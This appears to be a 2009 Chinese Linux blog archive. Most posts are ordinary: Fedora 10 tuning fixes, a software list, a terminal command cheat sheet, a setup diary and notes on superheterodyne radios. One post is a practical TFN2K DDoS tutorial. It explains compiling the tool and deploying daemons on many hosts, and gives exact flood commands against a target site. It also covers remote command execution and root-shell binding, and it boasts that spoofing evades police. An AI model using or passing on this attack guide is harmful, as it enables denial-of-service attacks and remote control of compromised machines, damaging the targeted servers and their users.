2009年3月9日星期一

修复Fedora/linux 的两个Bug

Fedora 10

1.CPU使用率过高,这个主要可能由linux的kernel的频率过高,Fedora中kernel的频率被设定为1000Hz,主要有如下两种解决方法一种是重新编译linux的kernel将频率改为100Hz。另外一种更为简便的方法是使用"divider"的boot参数。打开gedit /boot/grub/menu.lst,
应该可以发现这样的一条:
kernel /vmlinuz-2.6.27.5-117.fc10.i686 ro root=UUID=d4d3f28a-5430-4327-b854-14fd04fa3d75 rhgb quiet
在后面加上参数
kernel /vmlinuz-2.6.27.5-117.fc10.i686 ro root=UUID=d4d3f28a-5430-4327-b854-14fd04fa3d75 rhgb quiet divider=10
重启应该就可以了。
可能有多个kernel的版本,因此在你默认载入的后面加上然后重启就可以了。


2.Fedora/Linux正在谋杀你的硬盘,其实Fedora这个问题还算好Ubuntu还要严重,应该另外的Linux系统也有这样的问题。这个问题是非常严重的,因为一般的硬盘的Load_Cycle只能承受600000次,你可以输入命令查看你是否有这个问题:
Code:
smartctl -d ata -a /dev/sda | grep Load_Cycle_Count

Load_Cycle_Count 0x0012 090 090 000 Old_age Always - 102557
这个是我修复后的值102557,我的硬盘换上去也没多久,六分之一没啦,哀悼……
修复之前基本上是一分钟增长3-5次,太快了。

修复方法如下:
1.你可以输入hdparm命令来访问于修改硬盘参数。
主要可以改变其中高级电源管理的参数(Advanced Power Management)
hdparm -B 254 /dev/sda
或者 hdparm -B 255 /dev/sda

2.如果要永久性的修复

方法一、在/etc/profile的最后一行加上上述命令

方法二、在/etc/pm/的config.d, power.d, sleep.d的目录下分别建立如下Linux脚本文件 (99-hdd-spin-fix.sh):
#!/bin/bash
AC_POWER=$( /usr/bin/on_ac_power; echo $? )
#on_ac_power这个文件如果是用的是交流电则返回1,否则返回0
if [ $AC_POWER -eq 1 ] ; then
hdparm -B 200 /dev/sda#让磁盘读写头快速回到头保护磁盘
else
hdparm -B 255 /dev/sda#也可以可以改为254
fi

重启应该就可以了,反正我的Load_Cycle_Count不再飞增了,你应该再长期的监视一下。

2009年3月8日星期日

High CPU load using Fedora?

Before I use linux I heard, it has very good performance on poor hardware. However, I got very high cpu load when using fedora10.

here is the list of my hardware
Memory 512 MB
CPU Intel(R) Pentium(R) M processor 1500MHz

the average rate of my CPU load is 70%, and memory used is 60%.

Optimize:
1. Somebody ask me to disable some service that I don't use.
2. using xfce or even wm instead of gnome,kde
3. remove the damn useless "npviewer.bin"

Linux操作系统中实现DDOS攻击的方法

软件用的是最有名的DDOS,首先说我们用来攻击的客户机和服务器的配置方法,使用当下最有名的REDHAT Linux进行测试,本次攻击测试我使用的是FEDORA 10。
  开始设置服务器:

  解压 tar -zxvf tfn2k.tgz

  1.安装TFN2K

  TFN2K为开放原代码的软件,所以需要我们进行编译,这个不用说了,编译应该都会的吧,但有几个地方是必需注意的,因为使用不同版本和厂商的Linux需要不同的设置。

  先修改src/ip.h

  注释掉以下部分,否则编译出错。

  /*struct in_addr

  {

  unsigned long int s_addr;

  }; */

  然后make进行编译

  编译时会提示你输入服务器端进行密码设置8-32位,(攻击的时候需要输入密码)编译后会出现两个新的执行文件td 和 tfn,其中td是守护进程,也是客户机的使用进程。而tfn是服务器控制进程,如果想攻击别人就必需先起动td这个进程,然后再运行服务器进程,否则攻 击无效,更改密码可以执行mkpass进行更改。最后在所有的客户机中安装并运行td(需要ROOT权限),并且在服务器上建立一个文本文件,文件中记录 所有的客户机IP地址(用VI编辑一个就可行了),格式为:

  192.168.0.1

  192.168.0.2

  192.168.0.3

  IP

  IP

  .....

  然后在主服务器上运行./tfn

  2.DDOS攻击实现

  ./tfn直接回车大家可以看到一些参数,英文好的朋友估计不用我来多讲了:)

  格式./tfn <参数>

  无用的参数我们不提,我们来说攻击用的

  -f 这个参数后面跟刚才所写的文本文件名,就是真正实现DDOS攻击,而不是DOS

  -h DOS攻击,也就是单机,一对一的攻击 后面跟一个主机或IP地址

  -p 后面指定一个端口,不用说了

  -c 最关键的参数,一共有11个选相

  0 - 停止攻击,发善心用的

  1 - 反欺骗等级设定 ,因为TFN这个工具在攻击的时候所发出的数据包是带有源地址的,但是源地址是随机的,也就是说地址不是你自给的,所以不用担心警察抓,哈哈

  2 - 改编数据包的包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷的字节增加它的大小。

 3 - 绑定root shell:启动一个会话服务,然后你连接一个指定端口就可以得到一个root shell。

  4 - UDP洪水攻击:这个攻击是利用这样一个事实:每个udp包被送往一个关闭的端口,这样就会有一个ICMP不可到达的信息返回,增加了攻击的能力。

  5 - SYN洪水攻击:这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务,添瞒TCP连接表,通过对不存在主机的TCP/RST响应增加攻击潜力,是标准的拒绝服务攻击.

  6 - ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包。

  7 - SMURF攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍的回复。

  8 - MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包,这样就可以对付路由器,其它包转发设备,NIDS,sniffers等,轮番轰炸:)

  9 - TARGA3攻击

  10 - 远程命令执行,这个参数是TFN的附加功能,其实TFN的攻击不仅仅是DOS,还可以远程的进行明令控制,如:

  ./tfn -f hostext -c 10 -i "mkdir /root/edison" 在所有的HOST上root家目录建立edison,-i后面跟"命令"

  参数基本说完,下面攻击

  ./tfn -f hostext -c 4 -i www.xxx.com

  使用hostext文件中记录的主机对163服务器进行UDP攻击(所有的主机中必需已经起动td进程)

  ./tfn -f hostext -c 5 -i www.xxx.com -p 80

  使用hostext文件中记录的主机对163服务器进行TCP拒绝服务攻击(80攻击WEB,其他不用说了)

  ./tfn -f hostext -c 6 -i www.xxx.com

  使用hostext文件中记录的主机对163服务器进行ICMP攻击(PING攻击,缓冲区溢出马上死机)

  ./tfn -f hostext -c 8 -i www.xxx.com

  使用hostext文件中记录的主机对163服务器进行ICMP&TCP&UDP轮番攻击(如果对方是sniffer一定哭死)

  ./tfn -f hostext -c 0

  让所由主机停止攻击

  基本说完,最后说说我的测试结果

  一对一攻击,攻击方式TCP 连接方式本地 本地CPU13% 被攻击的服务器CPU使用率70%以上,并时时波动

  二对一攻击,攻击方式TCP 连接方式本地 本地单机CPU13% 被攻击的服务器CPU使用率100%

  五对一攻击,攻击方式TCP 连接方式本地 本地单机CPU13% 被攻击的服务器死机.本人家里只有6台机器,但如果再多点,几十台机器,一般的个人服务器肯定要死掉了

  一对一攻击,攻击方式ICMP 连接方式本地 本地CPU18% 被攻击的服务器CPU使用率96%以上,并时时波动二对一攻击,攻击方式ICMP 连接方式本地 本地单机CPU18% 被攻击的服务器以经无法上网,几乎无法使用,半小时内死机。

Linux下推荐应用程序列表

* 特殊软件:
windows下访问ext2fs, ext3fs: http://www.ext2fs-anywhere.com/
http://fs-driver.org/
修复分区表:Disk Genius(原名DiskMan), diskfix

* 批量更改文件名:rename (可能位于rename这个软件包)
* 监视文件或目录变更:fam (http://oss.sgi.com/projects/fam/)
gamin (http://www.gnome.org/~veillard/gamin/index.html)

* 媒体播放:
1)divx影片:mplayer
2)rm影片:realplayer10 for linux, mplayer
3)mp3: amarok, Audacious, beep media player, Rhythmbox,MPD
4)ape: xmms+monkey's audio plugin(http://supermmx.org/linux/mac/)
http://www.sourceforge.net/projects/mac-port/
5)其他格式(wma, wmv, mkv, quicktime): mplayer

* 各种格式的文档和文件
1)打开微软的office文档: openoffice, starsuite
wvware(http://wvware.sourceforge.net/)
2)查看pdf文件:xpdf, acroread for linux, ggv
3)查看ps文件: gsview, ggv, kghostview
4)chm文件: archmage,chmsee, Xchm,kchmviewer, chmreader, gnochm
5)mht文件: ripmime,firefox+MAF插件
6)图表绘制: dia
7).bin虚拟光盘: 用bin2iso或bchunk转成iso后mount
8)压缩文件
.rar: rar for linux或unrar
.zip: unzip
.bz2: bunzip2
.tar/.tgz: tar
.jar/.xpi: ark

* 中文输入法: scim, fcitx
* BBS软件:qterm, pcmanx-gtk2, {rxvt,xterm,gnome-terminal,...}+BBSbot

* 即时通讯:
1) QQ: lumaqq, Gaim+openq plugin, eva
2) MSN,icq,yahoo: Gaim

* web浏览器:mozilla-firefox, mozilla, opera
* ftp客户端(图形界面) :gftp, Iglooftp-1.23
* ftp客户端(终端) : lftp, ncftp
* ftp服务器: pureftpd, proftpd, vsftpd
* http下载(终端): wget, curl, prozilla
* bt下载: bittorrent(终端), azureus(图形界面)
* 多线程下载:MultiGet
* email软件(图形界面):thunderbird, sylpheed, evolution, opera M2
* email终端: mutt, pine, gnus
* RSS:liferea
* SMTP client: msmtp, esmtp

* 编辑器
1) 文本: vim, emacs, jedit
2) 16进制: hexedit, ghex, mc

* 图片浏览: gImageView, gqview, zgv(console), fbida(console)
* 图片处理: gimp, ImageMagick
* 屏幕抓图:
抓成图片:ksnapshot, ImageMagick 的 import, gimp, xwd, scrot
http://addons.mozine.org/firefox/209/ (抓网页)
抓成视频:vnc2swf, vncrec, xvidcap
* 录音、音频处理: audacity, mhwaveedit, glame
* 视频处理:Cinelerra
* 音频格式转换:SoX
* 刻录:k3b, brasero, cdrecord

* 英汉字典: stardict(屏幕取词,词库大,英汉,汉英, 英英)
ibmdict(包含科技词典,词库大,英汉,汉英)
dictd:英汉 汉英 可以使用stardict的全部词库.
cdict:英汉 汉英 使用安装方便,彩色显示.

* 科学计算: matlab, octave
* 科学作图: gnuplot, metapost,Asymptote

* 虚拟机
1) win下虚拟linux: cygwin, 老版virtual-pc, colinux
2) linux下虚拟win: win4lin
3) 跨平台: vmware, bochs, qemu, virtualbox
4) linux下运行windows程序: wine, easywine, winex, crossover office

Linux终端命令用法精选

一.文件目录类
  1.建立目录:mkdir 目录名
  2.删除空目录:rmdir 目录名
  3.无条件删除子目录: rm -rf 目录名
  4.改变当前目录:cd 目录名 (进入用户home目录:cd ~;进入上一级目录:cd -)
  5.查看自己所在目录:pwd
  6.查看当前目录大小:du
  7.显示目录文件列表:ls -l (-a:增加显示隐含目录)
  其中:蓝:目录;绿:可执行文件;红:压缩文件;浅蓝:链接文件;灰:其他文件;红底白字:错误的链接文件
  8.浏览文件:more 文件名.txt;less 文件名.txt
  9.复制文件: cp 源文件 目标文件 (-r:包含目录)
  10.查找文件:(1)find (2)locate 命令名
  11.链接:(1)建立hard链接:ln 来源文件 链接文件(-d:创建目录链接);(2)建立符号链接:ln -s 来源文件 链接文件
  二.驱动挂载类
  1.检查硬盘使用情况:df -T -h
  2.检查磁盘分区:fdisk -l
  3.挂载软硬光区:mount -t /dev/fdx|hdax /mnt/目录名
  其中::modos--FAT16;vfat--FAT32;ntfs--NTFS;光驱--iso9660
  支持中文名:mount -o iocharset=x /dev/hdax /mnt/目录名(其中:x=cp936或
  挂载光驱:mount -t auto /dev/cdrom /mnt/cdrom
  挂载ISO文件:mount -t iso9660 -o loop xxx.iso /path
  4.解除挂载:umount /mnt/目录名
  解除所有挂载:umount -a
  5.建立文件系统:mkfs -t /dev/hdxx。其中:ftype:ext2、ext3、swap等
  三.程序安装类
  1.RPM包安装:(1)安装 rpm -ivh somesoft.rpm
  (2)反安装 rpm -e somefost.rpm
  (3)查询 rpm -q somefost 或 rpm -qpi somefost.rpm(其中:p未安装;i包含的信息)
  (4)查询安装后位置:rpm -ql somefost.rpm
  (5)升级安装:rpm -Uvh somesoft.rpm
  (6)强制安装:rpm -ivh --nodeps somesoft.rpm 或 rpm -ivh --nodeps --force somesoft.rpm
  2.源代码包安装:
  查阅README
  基本用法 (1)配置:解压目录下 ./configure
  (2)编译:解压目录下 make
  (3)安装:解压目录下 make install
  3.src.rpm的安装
  需要用到rpmbuild命令加上--rebuild参数。如 rpmbuild --rebuild ***.src.rpm。然后在/usr/src/下找
  3.FC3下iso程序安装:system-config-packages --isodir=iso所在目录
  RH下iso程序安装:redhat-config-packages --isodir=iso所在目录
  四.压缩解压类
  1.tar.gz类:(1)解压:tar -xvzf 文件.tar.gz;(2)tar.gz解至tar:gzip -d 文件.tar.gz(2)压缩:gzip 待压缩文件
  2.tar未压缩类:(1)解包:tar -xvf 文件.tar;(2)打包:tar -cvf 文件.tar 文件列表
  3.zip类:(1)解压:unzip 文件.zip -d dir;(2)压缩:zip zipfile 待压缩文件列表
  4.bz2类:(1)解压:bunzip2 文件.bz2或bzip2 -d 文件.bz2;(2)压缩:bzip2 待压缩文件
  5.z类:(1)解压:uncompress 文件.z;(2)压缩:compress 文件
  五.进程控制类
  1.列出当前进程ID:ps -auxw
  2.终止进程:(1)终止单一进程:kill 进程ID号
  (2)终止该程序所有进程:Killall 程序名
  (3)终止X-Window程序:xkill
  3.查看资源占用情况:(1)top (2)free (3)dmesg
  4.查看环境变量值:env
  5.重启:(1)reboot (2)Ctrl Alt Del (3)init 6
  6.关机:(1)shutdown -h now (2)halt (3)init 0
  7.切换桌面:switchdesk gnome|KDE|...
  六.程序运行类
  1.查询命令:whereis 命令名
  2.后台运行X-Window程序:程序名&
  3.强行退出X-Window程序:Ctrl Alt Backspace
  4.查看帮助:
  (1)简明帮助:命令名 --help | less
  (2)更多帮助:man 命令名
  (3)info 命令名
  (4)help 命令名
  5.查看系统路径:echo $PATH
  6.查看当前shell堆栈:echo $SHLVL
  7.< / >:输入/输出重定向;|:管道左的输入是管道右输入
  六.用户帐号类
  1.增加用户帐号:(1)用 户 名:adduser 用户帐号名
  (2)设置密码: passwd 用户帐号名
  2.删除用户帐号:userdel 用户帐号名
  3.增加用户组:groupadd 用户组名
  4.删除用户组:groupdel 用户组名
  5.暂时终止用户帐号:passwd -l 用户帐号名
  6.恢复被终止帐号:passwd -u 用户帐号名
  7.权限设定
  (1)chmod -a|u|g|o |-|=r|w|x 文件/目录名
  其中:a--所有用户(all);u--本用户(user);g--用户组(group);o--其他用户(other users)
  --增加权限;---删除权限;=--设置权限
  文件:r--只读权限(read);w--写权限(write);x--执行权限(execute)
  目录:r--允许列目录下文件和子目录;w--允许生成和删除目录下文件;x--允许访问该目录
  (2)chmod xxx 文件/目录名
  其中:execute=1;write=2;read=4
  x取值:0--没有任何权限(常用);1--只能执行(不常见);2--只能写(不常见);3--只能写和执行(不常见);4--只读(常见);5--只读和执行(常见);6--读和写(常见);7--读.写和执行
  七.vi编辑类
  1.进入后为命令模式:(1)插入i;(2)打开0;(3)修改c;(4)取代r;(5)替换s
  2.经(1)后进入全屏幕编辑模式。
  3.命令模式-->编辑模式(a/i);编辑模式-->命令模式(Esc);命令模式-->末行模式(:)。
  4.:w/w newfile保存
  5.:q/q!退出iv;:wq保存退出
  八.网络服务
  1.显示网络接口参数:ifconfig
  2.显示系统邮件:mail
  3.启动/终止web服务:httpd -k start|stop|restart
  4.查看网络状况:(1)联机状况:ping xxx.xxx.xxx.xxx;
  (2)显示网络状况:netstat ,其中:options:-a==所有sockets;-l==包含网络设备;-n==数字IP;
  -o==其他信息;-r==路由表;-t==只列TCP sockets;-u==只列UDP sockets;-w==只列raw sockets;
  -x==只列Unix Domain sockets

2009年3月2日星期一

配置Fedora的痛苦历程

Fedora10 摆弄了两个星期渐渐的熟练起来了,呵呵呵。我来总结一下:
1. 安装操作系统,基本上就是一路回车法啦。


2. fedora上装东西,开始以为只能用.tar.gz的包自己编译,后来才知道,有一个非常强大的工具yum,使用如下步骤打开terminal(终端),先弄个yum install yum-fastestmirror,装好以后可以装yum install yumex,一个yum的GUI。这回装东西就爽了。


3. 然后是笔记本的触摸板飘来飘去的烦人,禁止触摸板:建立 /etc/hal/fdi/policy/shmconfig.fdi 把这个贴上去
再yum install gsynaptics,重启貌似就可以在系统硬件里面设置了。

4.我用AMP的,安装如下:
yum -y install httpd php mysql mysql-server php-mysql
/sbin/chkconfig httpd on [设置apache服务器httpd服务开机启动]
/sbin/chkconfig --add mysqld [在服务清单中添加mysql服务]
/sbin/chkconfig mysqld on [设置mysql服务开机启动]
/sbin/service httpd start [启动httpd服务,与开机启动无关]
/sbin/service mysqld start [启动mysql服务,与开机无关]
mysql我用mysqladmin该密码发现好像改进去的密码不加密的,不知道为什么,然后登录就不停的说ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
可以/usr/local/mysql/bin/safe_mysqld --user=mysql --skip-grant-
tables以安全模式登录,跳过权限表就可以了,进去改了。
php还要装一些扩展库 yum -y install php-gd php-mbstring

5.键盘问题
开始我无法打出正常的单引号与双引号,其实只要在“系统”“硬件”“键盘”里改成USA或者china的键盘就可以了,不要选阿拉伯的键盘。

6.播放mp3,rm格式的文件
fedora本身不支持这两种,这两个格式因为版权问题,blah,blah,blah。可以安装linux下最强的播放器mplayer,虽然我感觉还是比较恶心。
先装一个软件源
su -c 'rpm -Uvh
http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm'
然后,在yum extender里面搜一下mplayer smplayer就好了,但好像有的rm文件还是打不开,rmvb又只有声音没图像的,暂时没解决。

7. python的IDEL问题,以及安装多个python问题
fedora 默认就是装好了python的,但是没有python idle要在yumex里面装一个python-tool,另外python好像可以多个版本并存的,但fedora的操作系统gnome等等都是跟python有关的,因此不能卸载python。

8. chm文件打开的话,有chmsee 或者 xchm 都蛮好的,但都没windows下看起来爽。

9. g++问题 要安装 gcc-c++,gcc,这个在yumex里面搜索就行了。安装好编译要用g++ *.cpp -o * 不要用gcc,gcc不给连头文件的。

10.图形界面以root登录
在终端里以su型式 gedit etc/pam.d/gdm,
#auth required pam_succeed_if.so user != root quiet #屏蔽掉该行就可以了。

犯人的问题基本上都解决了,可以喘口气了。终结一下,linux是一个挺好的系统,但linux下为非开发者用的软件实在是……有待提高,就连firefox在linux也远不如windows下的快。另外就是,我的电脑买的比较早,有点烂了,明显发现linux 在全英文状态下系统的性能要比中文好很多。

其他常用软件列表:
linux-fetion/qq for linux/wine/

希望大家linux愉快!

超外差收音机


超外差收音机工作原理如图
外 差: 输入信号和本机振荡信号产生差频的过程。
超外差:输入信号和本机振荡信号产生一个固定中频信号的过程。 因为,它是比高频信号低,比低频信号又高的超音频信号,所以这种接收方式叫超外差式。
优 点: 灵敏度高,选择性好,音质好(通频带宽)工作稳定(不容易自激)
缺 点: 镜像干扰(比接收频率高两个中频的干扰信号),假响应(变频电路的非线
性)

* 超外差式是与直放式相对而言的一种接收方式。
* 超外差式收音机能把接收到的频率不同的电台信
号都变成固定的中频信号(465kHz),再由放大器对这个固定的中频信号进行放大。
* 在选择回路(输入回路)或高频放大器与检波器之间插入一个变频器及中频放大器。

电路原理图
基本元件介绍:
  1. 中频变压器(中周):

收音机中频变压器一般由磁心、线圈、底座、支架、磁帽及屏蔽罩组成。由于使用磁心和磁帽构成闭合磁路,使得变压器具有高Q值和小体积的特点,而且只要调节磁帽就可改变电感量的大小。

收音机中的中频放大器工作频率为465 kHz,用谐振回路作为负载,采用LC并联谐振方法,使回路在谐振时阻抗最大。回路产生的谐振电压用中频变压器耦合到下一级电路。半导体收音机使用的中频变压器有单调回路中频变压器和双调谐中频变压器两种,它们的电路如图6-10所示。单调谐中频变压器只在初级线圈上并联一个电容器组成调谐回路,通过调谐磁帽便可改变线圈的电感量以达到调谐的目的。双调谐中频变压器的初、次级线圈分别在外部并联一个电容器,形成两个调谐回路。两个调谐回路之间可采用电容器耦合,如图6-10(b)所示;也可采用电感耦合,如图6-10(c)所示。采用双调谐中频放大器的目的是为了进一步提高收音机的选择性。双调谐中频变压器的结构比单调谐中频变压器的结构要复杂,调整也麻烦,而且损耗也大,所以用得较多的还是单调谐中频变压器。


2. 磁棒线圈

中间有一根东西叫铁氧体,开始我还在想,磁棒线圈咋没磁性,呵呵。铁氧体是一种具有铁磁性的金属氧化物。就电特性来说,铁氧体的电阻率比金属、合金磁性材料大得多,而且还有较高的介电性能。铁氧体的磁性能还表现在高频时 具有较高的磁导率。因而,铁氧体已成为高频弱电领域用途广泛的非金属磁性材料。由于铁氧体单位体积中储存的磁能较低,饱合磁化强度也较低(通常只有纯铁的 1/3~1/5),因而限制了它在要求较高磁能密度的低频强电和大功率领域的应用。


3. 瓷片电容与电解电容

电解电容利用电解液存储电荷,瓷片电容利用瓷绝缘介质存储电荷。工作方式不一样,但功能相同。电解电容电容值大,但不宜久置,容易漏液造成危险,不耐高电压,容量不稳定,寿命较短,用于低压、低频电路。 瓷片电容电容值小,但是可以久置,不存在危险,耐压高,稳定性好,用于高压、高频电路。

4. 双联电容

双联电容就是两只电容同轴或同封装,有等容和差容之分。分为双联可变,双联微调,双联固定电容。其中双联可变,双联微调用于高频调谐回路,双联固定电容用于电机裂相和运行!